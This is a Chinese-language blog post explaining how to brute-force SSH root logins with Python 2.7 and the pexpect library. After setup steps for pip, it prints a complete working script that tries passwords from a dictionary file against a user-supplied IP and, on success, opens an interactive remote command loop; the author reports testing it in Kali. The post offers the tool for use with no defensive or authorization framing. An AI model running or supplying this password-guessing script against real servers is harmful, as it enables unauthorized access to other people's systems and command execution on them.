美文网首页
python爆破SSH

python爆破SSH

作者: CSeroad | 来源:发表于2018-08-02 17:20 被阅读38次

这次的脚本需要依赖第三方模块,为了方便在linux上运行。

pexpect库的安装

首先确保linux上安装有python2.7的环境(建议python2.7),一般的linux都会自带。但是没有pip命令,需要先安装pip然后通过pip再安装pexpect库。

wget

wget https://bootstrap.pypa.io/get-pip.py--no-check-certificate

python get-pip.py

下载安装get-pip.py文件。

使用pip命令确定安装成功。

pip

下面再安装pexpect库。

success

pip install pexpect

没有报错,确定该模块以导入成功。

脚本的编写

#coding=utf-8

#python2.7

from pexpect import pxssh

ip=raw_input('请输入IP:')

username='root'

def connect(password):

try:

s=pxssh.pxssh()

result=s.login(ip,username,password)

if result==True:

print '[+]密码为:'+password

while True:

try:

shell=raw_input("shell:")

s.sendline(shell)

s.prompt()

print s.before

except:

pass

except:

print '[-]错误:'+password

if __name__ == '__main__':

for line in open('/root/100.txt'):

password=line.strip('\n')

connect(password)

注:/root/100.txt为破解字典。

将该文件保存为sshd.py,在kali中进行测试。

sshd.py success

相关文章

网友评论

      本文标题:python爆破SSH

      本文链接:https://www.haomeiwen.com/subject/lhjsvftx.html